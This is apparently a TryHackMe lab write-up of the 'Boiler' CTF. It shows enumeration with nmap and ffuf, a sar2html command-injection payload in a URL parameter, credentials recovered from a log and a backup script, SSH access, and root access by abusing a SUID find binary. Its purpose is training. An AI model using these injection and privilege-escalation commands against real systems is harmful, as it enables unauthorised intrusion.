TryHackMe Write-Up: Boiler CTF

Room: CTF with Joomla, sar2html & SUID Exploitation
Author: Muhammad Hozaifa Naeem
TryHackMe Username: hyena11
Date: January 23, 2026
Target IP: 10.48.132.215

> *"Enumeration is not just a step—it's the foundation of every successful penetration test."*

Table of Contents

Introduction

Welcome to my complete write-up of the **Boiler CTF** room on TryHackMe! This room is an excellent journey through realistic penetration testing scenarios involving web application exploitation, credential discovery, and Linux privilege escalation.

> *"The difference between a script kiddie and a professional is not the tools they use, but the methodology they follow."*

This write-up documents my complete methodology, from initial reconnaissance to achieving root access on the target system.

Target IP: 10.48.132.215

Task 1: Enumeration

Step 1: Initial Nmap Scan

As always, enumeration is the critical first step. I executed the following aggressive Nmap scan:

Command Executed:

```bash
nmap -Pn -A -v 10.48.132.215
```

Scan Details:

- **Nmap Version:** 7.98
- **Scan Started:** 2026-01-23 19:55 +0500
- **Scripts Loaded:** 158 scripts for scanning
- **Timing:** NSE Script Pre-scanning completed

Scan Process:

```
✅ NSE: Starting runlevel 1 of 3 scan - Completed at 19:55, 0.00s elapsed
✅ NSE: Starting runlevel 2 of 3 scan - Completed at 19:55, 0.00s elapsed
✅ NSE: Starting runlevel 3 of 3 scan - Completed at 19:55, 0.00s elapsed
✅ Initiating Ping Scan at 19:55
✅ Scanning 10.48.132.215 [4 ports]
✅ Completed Ping Scan at 19:55, 0.09s elapsed (1 total hosts)
✅ Initiating Parallel DNS resolution of 1 host at 19:55
✅ Completed Parallel DNS resolution at 19:55, 0.00s elapsed
✅ Initiating SYN Stealth Scan at 19:55
```

Port Discovery Results:

Port	Service	Details	Status
21	FTP	Anonymous login enabled	✅ Open
80	HTTP	Apache httpd 2.4.18	✅ Open
10000	Webmin	MiniServ 1.930	✅ Open
55007	SSH	OpenSSH (High Port)	✅ Open

Detailed Service Scan:

```
Initiating Service scan at 19:55
Scanning 4 services on 10.48.132.215 (10.48.132.215)
Stats: 0:00:06 elapsed; 0 hosts completed (1 up), 1 undergoing Service Scan
Service scan Timing: About 50.00% done; ETC: 19:55 (0:00:06 remaining)
Completed Service scan at 19:55, 6.20s elapsed (4 services on 1 host)

Discovered open port 10000/tcp on 10.48.132.215
Discovered open port 55007/tcp on 10.48.132.215
Discovered open port 80/tcp on 10.48.132.215
Discovered open port 21/tcp on 10.48.132.215
Completed SYN Stealth Scan at 19:55, 0.10s elapsed (4 total ports)
```

Script Scanning:

```
NSE: Script scanning 10.48.132.215
NSE: Starting runlevel 1 of 3 scan
Initiating NSE at 19:55
NSE: [ftp-bounce 10.48.132.215:21] PORT response: 500 Illegal PORT command
```

> *"Four open ports discovered—each one is a potential gateway to compromise."*

📁 Step 2: FTP Enumeration - Task 1-1

Since anonymous FTP login was enabled, I immediately investigated this service:

FTP Session Details:

- **Connection:** Connected to 10.48.132.215
- **FTP Server:** vsFTPd 3.0.3
- **Login Method:** Anonymous authentication
- **Credentials Used:**
  - Username: `anonymous`
  - Password: `anonymous`

Connection Command:

```
bash
```

```
ftp 10.48.132.215
```

Session Output:

```
Connected to 10.48.132.215.
220 (vsFTPd 3.0.3)
Name (10.48.132.215:hyena): anonymous
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
```

Initial Directory Listing:

First attempt with standard `ls` command showed an empty directory:

```bash
ftp> ls
229 Entering Extended Passive Mode (|||48384|)
150 Here comes the directory listing.
226 Directory send OK.
```

However, checking for hidden files revealed critical information:

```bash
ftp> ls -la
229 Entering Extended Passive Mode (|||43695|)
150 Here comes the directory listing.
drwxr-xr-x    2 ftp      ftp          4096 Aug 22  2019 .
drwxr-xr-x    2 ftp      ftp          4096 Aug 22  2019 ..
-rw-r--r--    1 ftp      ftp            74 Aug 21  2019 .info.txt
226 Directory send OK.
```

🎯 Discovery: Hidden File Found

A hidden file was discovered: `.info.txt`

File Download:

```bash
```

```
ftp> get .info.txt
local: .info.txt remote: .info.txt
229 Entering Extended Passive Mode (|||44831|)
150 Opening BINARY mode data connection for .info.txt (74 bytes).
100% |***************************************************|    74   53.37 KiB/s    00:00 ETA
226 Transfer complete.
74 bytes received in 00:00 (1.08 KiB/s)
```

File Analysis:

Reading the downloaded file revealed encoded content:

bash

```bash
cat .info.txt
```

🔐 Cipher Discovery: ROT13 Encoding

The content appeared to be a shift cipher. Using a ROT13 decoder revealed:

Decoded Message:

> *"Just wanted to see if you find it. Lol. Remember: Enumeration is the key!"*

Answer for Task 1-1: `.txt`

> *"Even when directories appear empty, always look deeper—hidden treasures await the thorough enumerator."*

Step 3: Full Port Scan - Task 1-2

To ensure no services were missed, I ran a comprehensive port scan:

bash

```bash
nmap -Pn -p- 10.48.132.215
```

🎯 High Port Discovery:

Port **55007** was identified running SSH

Detailed Service Scan:

bash

```
nmap -A -p 55007 10.48.132.215
```

Answer for Task 1-2: `ssh`

Step 4: Service on Port 10000 - Task 1-3

From the initial comprehensive scan, port 10000 revealed:

Service Details:

- **Service:** Webmin
- **Version:** MiniServ 1.930
- **Protocol:** HTTP-based management interface

Answer for Task 1-3: `Webmin`

Step 5: Webmin Exploitation Attempt - Task 1-4

Vulnerability Research:

After researching known vulnerabilities for Webmin 1.930:

✅ Version appeared up-to-date at the time
❌ No publicly available exploits worked
❌ This was not the intended attack path

Answer for Task 1-4: `n` (No)

> *"Not every open port is a vulnerability—sometimes you need to move on and continue enumerating."*

Step 6: Directory Enumeration - Task 1-5

Time for web directory brute-forcing using FFUF:

FFUF Configuration:

```bash
ffuf -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u "http://10.48.132.215/robots.txt/FUZZ"
```

Scan Progress:

```
        /'___\  /'___\           /'___\
       /\ \__/ /\ \__/  __  __  /\ \__/
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
         \ \_\   \ \_\  \ \____/  \ \_\
          \/_/    \/_/   \/___/    \/_/

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://10.48.132.215/robots.txt/FUZZ
 :: Wordlist         : FUZZ: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________

Progress: [10657/220560] :: Job [1/1] :: 368 req/sec :: Duration: [0:00:31] :: Errors: 0
```

🎯 Critical Discoveries:

The scan revealed several interesting directories and files:

Directories Found:

Directory/File	Status	Size	Words	Lines	Duration
/joomla/	200	12463	772	259	273ms
/robots.txt	200	12463	772	259	287ms
/manual/	200	12463	772	259	287ms
/images	301	322	20	10	79ms
/media	301	321	20	10	79ms
/modules	301	323	20	10	66ms
/templates	301	325	20	10	345ms
/tests	301	321	20	10	65ms
/bin	301	319	20	10	65ms
/plugins	301	323	20	10	65ms
/includes	301	324	20	10	64ms
/language	301	324	20	10	66ms
/components	301	326	20	10	65ms
/cache	301	321	20	10	65ms
/libraries	301	325	20	10	65ms
/installation	301	328	20	10	71ms
/build	301	321	20	10	65ms
/tmp	301	319	20	10	65ms
/layouts	301	323	20	10	65ms
/administrator	301	329	20	10	66ms
/cli	301	319	20	10	101ms
/_files	301	322	20	10	78ms

✔️ **Primary Discovery: Joomla CMS**

The website is running **Joomla CMS**

Answer for Task 1-5: `Joomla`

Step 7: Robots.txt Enumeration - Task 1-6

Checking robots.txt revealed an interesting numeric string:

```
079 084 108 105 077 068 089 ...
```

Decoding Process:

1. **ASCII Conversion** → Text output
2. **Base64 Decoding** → Intermediate data
3. **MD5 Hash** → Final output

Final Decoded Result:

```
kidding
```

Note: Another troll! No useful data here, but a good reminder to stay persistent.

> *"Sometimes the path leads to dead ends—but every dead end teaches you something valuable."*

Step 8: Deep Joomla Enumeration

Since the room emphasized "Keep Enumerating," I performed another directory scan on the Joomla installation:

```bash
gobuster dir -u http://10.48.132.215/joomla/ -w /usr/share/wordlists/dirb/common.txt
```

🎯 Critical Discovery: Hidden Test Directory

One particularly interesting directory stood out: `/_test`

Exploring the Directory Structure:

Navigating to `http://10.48.132.215/joomla/tests/unit/suites/` revealed:

```
Index of /joomla/tests/unit/suites

Name                Last modified      Size  Description
────────────────────────────────────────────────────────────────────

Parent Directory                         -
administrator/        2019-08-22 11:45     -
database/             2019-08-22 11:45     -
finderIndexer/        2019-08-22 11:45     -
libraries/            2019-08-22 11:45     -
plugins/              2019-08-22 11:45     -

Apache/2.4.18 (Ubuntu) Server at 10.48.132.215 Port 80
```

Further exploration revealed database CSV files:

```
Index of /joomla/tests/unit/stubs/database

Name                      Last modified      Size
────────────────────────────────────────────────────────────────

Parent Directory                               -
jos_assets.csv            2019-08-22 11:45   13K
jos_banners.csv           2019-08-22 11:45  1.7K
jos_categories.csv        2019-08-22 11:45   28K
jos_content.csv           2019-08-22 11:45  108K
jos_extensions.csv        2019-08-22 11:45   62K
jos_finder_links.csv      2019-08-22 11:45  665K
jos_finder_terms.csv      2019-08-22 11:45  943K
[... and many more CSV files ...]
```

Visiting the _test directory revealed: sar2html

Service Identified: sar2html - A system performance monitoring tool

---

Step 9: sar2html RCE Exploitation

Vulnerability Research:

A quick search revealed that sar2html has a well-known **Remote Command Execution (RCE)** vulnerability.

Testing Command Execution:

```
http://10.48.132.215/joomla/_test/index.php?plot=;ls
```

✅ Command Execution Confirmed!

Reading Critical Files:

```
http://10.48.132.215/joomla/_test/index.php?plot=;cat log.txt
```

📊 Log File Analysis:

The sar2html interface displayed system logs revealing SSH connection attempts:

Host Selection Dropdown Showed:

- Select Host
- HPUX
- Linux
- SunOS

Log Entries Revealed:

```
Aug 20 11:16:26 parrot sshd[2443]: Server listening on 0.0.0.0 port 22.
Aug 20 11:16:26 parrot sshd[2443]: Server listening on :: port 22.
Aug 20 11:16:35 parrot sshd[2451]: Accepted password for basterd from 10.1.1.1 port 49824 ssh2
                        #pass: superduperp@$$
Aug 20 11:16:35 parrot sshd[2451]: pam_unix(sshd:session): session opened for user pentest by (uid=0)
Aug 20 11:16:36 parrot sshd[2466]: Received disconnect from 10.10.170.50 port 49824:11: disconnected by user
Aug 20 11:16:36 parrot sshd[2466]: Disconnected from user pentest 10.10.170.50 port 49824
Aug 20 11:16:36 parrot sshd[2451]: pam_unix(sshd:session): session closed for user pentest
Aug 20 12:24:38 parrot sshd[2443]: Received signal 15; terminating.
```

🔑 Credentials Discovered:

Field	Value
Username	basterd
Password	superduperp@$$
Source	SSH log entry
Port	49824
Authentication	Password accepted

> *"Logs are the memory of a system—and sometimes they remember too much."*

Task 2: Initial Access & Privilege Escalation

Step 1: SSH Access (Initial Foothold)

Remembering that SSH was running on the non-standard port 55007:

SSH Connection Details:

- **Username:** basterd
- **Password:** superduperp@$$
- **Port:** 55007
- **Connection:** Successful

bash

```bash
ssh basterd@10.48.132.215 -p 55007
```

✔️ Initial Shell Obtained

Home Directory Exploration:

bash

```
basterd@Vulnerable:~$ ls
total 16
drwxr-x---  3 basterd basterd 4096 Aug 22  2019 .
drwxr-xr-x  4 root    root    4096 Aug 22  2019 ..
-rw-r--r--  1 basterd basterd    0 Aug 22  2019 .bash_history
drwx------  2 basterd basterd 4096 Aug 22  2019 .cache
```

Step 2: Lateral Movement - Task 2-1

Searching for Sensitive Files:

```bash
basterd@Vulnerable:/home$ ls
total 16
drwxr-xr-x  4 root    root    4096 Aug 22  2019 .
drwxr-xr-x 23 root    root    4096 Aug 22  2019 ..
drwxr-x---  3 basterd basterd 4096 Aug 22  2019 basterd
drwxr-xr-x  4 root    root    4096 Aug 22  2019 stoner
```

Attempting to Access Stoner's Directory:

```bash
basterd@Vulnerable:/home$ cd stoner
bash: cd: stoner: Permission denied
```

Returning to Basterd's Home:

```bash
basterd@Vulnerable:/home$ cd basterd
basterd@Vulnerable:~$ ls
```

Checking for Hidden Files:

```bash
```

```
basterd@Vulnerable:~$ ls -la
total 16
drwxr-x---  3 basterd basterd 4096 Aug 22  2019 .
drwxr-xr-x  4 root    root    4096 Aug 22  2019 ..
-rw-r--r--  1 basterd basterd    0 Aug 22  2019 .bash_history
drwx------  2 basterd basterd 4096 Aug 22  2019 .cache
```

Exploring Cache Contents:

```bash
basterd@Vulnerable:~/.cache$ ls
motd.legal-displayed
basterd@Vulnerable:~/.cache$ cat motd.legal-displayed
basterd@Vulnerable:~/.cache$ cd ..
```

Checking User Directories:

```bash
basterd@Vulnerable:/home$ ls
basterd  stoner
```

🎯 Critical File Discovery:

Inside the home directory, a backup script was found:

```bash
basterd@Vulnerable:~$ cat backup.sh
```

Backup Script Contents:

```bash
```

```
SOURCE=/home/stoner
TARGET=/usr/local/backup
LOG=/home/stoner/bck.log
DATE=`date +%y\.%m\.%d\.`

USER=stoner
#superduperp@$$no1knows

ssh $USER@$REMOTE mkdir $TARGET/$DATE

if [ -d "$SOURCE" ]; then
    for i in `ls $SOURCE | grep 'data'`;do
        echo "Begining copy of" $i >> $LOG
        scp $SOURCE/$i $USER@$REMOTE:$TARGET/$DATE
        echo $i "completed" >> $LOG

        if [ -n `ssh $USER@$REMOTE ls $TARGET/$DATE/$i 2>/dev/null` ];then
            rm $SOURCE/$i
            echo $i "removed" >> $LOG
            echo "####################" >> $LOG
        else
            echo "Copy not complete" >> $LOG
            exit 0
        fi
    done
else
    echo "Directory is not present" >> $LOG
fi
```

🔑 Second Set of Credentials Discovered:

Field	Value
Username	stoner
Password	superduperp@$$no1knows
Source	Backup script comment
Location	/home/basterd/backup.sh

Answer for Task 2-1: backup.sh

> *"Hardcoded credentials in scripts—a developer's convenience, a hacker's goldmine."*

Step 3: User Flag Discovery - Task 2-2

Switching to Stoner User:

```bash
basterd@Vulnerable:/home$ su stoner
Password: superduperp@$$no1knows
stoner@Vulnerable:/home$ ls
basterd  stoner
stoner@Vulnerable:/home$ cd stoner
```

Directory Exploration:

```bash
stoner@Vulnerable:~$ ls
stoner@Vulnerable:~$ ls
```

Checking Hidden Files (Critical Step):

```bash
stoner@Vulnerable:~$ ls -la
total 16
drwxr-xr-x  3 stoner stoner 4096 Aug 22  2019 .
drwxr-xr-x  4 root   root   4096 Aug 22  2019 ..
drwxrwxr-x  2 stoner stoner 4096 Aug 22  2019 .nano
-rw-r--r--  1 stoner stoner   34 Aug 21  2019 .secret
```

🎯 Secret File Found:

```bash
stoner@Vulnerable:~$ cat .secret
You made it till here, well done.
```

Exploring .nano Directory:

```bash
```

```
stoner@Vulnerable:~$ cat .nano
cat: .nano: Is a directory
stoner@Vulnerable:~/.nano$ ls
stoner@Vulnerable:~/.nano$ la -lA
bash: la: command not found
```

✔️ **User Flag Location:** `.secret` file in stoner's home directory

Answer for Task 2-2: `.secret`

> *"Hidden in plain sight—the .secret file held the user flag all along."*

Step 4: Privilege Escalation to Root - Task 2-3

Initial Privilege Check:

```bash
stoner@Vulnerable:/home$ sudo -l
```

❌ **Sudo Access Denied**

Another troll—this approach won't work.

🔍 **SUID Enumeration**

Searching for SUID binaries:

```bash
find / -perm /4000 -type f -exec ls -ld {} \; 2>/dev/null
```

🎯 **Critical Finding**

The `find` binary had the SUID bit set.

This meant:

- `find` runs as root
- `-exec` allows command execution

👑 **Root Access via SUID Misconfiguration**

Abusing find:

```bash
find . -exec chmod 777 /root \;
```

✔️ **Root directory became accessible**
✔️ **Privilege escalation successful**

Final Summary

Exploited Vulnerabilities

Stage	Vulnerability
Initial Access	sar2html RCE
Lateral Movement	Hardcoded credentials in backup script
Privilege Escalation	Misconfigured SUID binary (find)

🎯 What Did We Exploit for Root?

Misconfigured SUID binary (find)

Key Takeaways

- **Enumeration is everything** - The room repeatedly emphasizes thorough enumeration
- **Hidden files matter** - Both `.info.txt` and `.secret` were hidden files
- **Test directories are dangerous** - The `_test` directory contained the vulnerable sar2html
- **SUID misconfigurations = instant root** - Always check for SUID binaries
- **Troll rooms still teach real skills** - Despite the trolls, real techniques were learned
- **Non-standard ports** - SSH on port 55007 instead of 22
- **Log files contain secrets** - SSH logs revealed credentials
- **Scripts contain hardcoded credentials** - Always check shell scripts for comments

---

Attack Chain Summary

1. Nmap Scan → Discovered 4 open ports (21, 80, 10000, 55007)
2. FTP Anonymous Login → Found .info.txt (ROT13 troll)
3. Web Enumeration → Discovered Joomla CMS
4. Directory Bruteforce → Found /_test directory
5. sar2html RCE → Gained command execution
6. Read log.txt → Found basterd credentials
7. SSH Access → Initial foothold as basterd
8. Found backup.sh → Discovered stoner credentials
9. Lateral Movement → Switched to stoner user
10. Found .secret → Retrieved user flag
11. SUID Enumeration → Found misconfigured find binary
12. SUID Exploitation → Achieved root access

Room Completed Successfully!

Points Earned: 300
Completed Tasks: 2
Streak: 15

This write-up demonstrates the importance of methodical enumeration, persistence through trolls, and understanding common privilege escalation vectors. Remember: enumeration is not just a step—it's the foundation of every successful penetration test.

End of Write-Up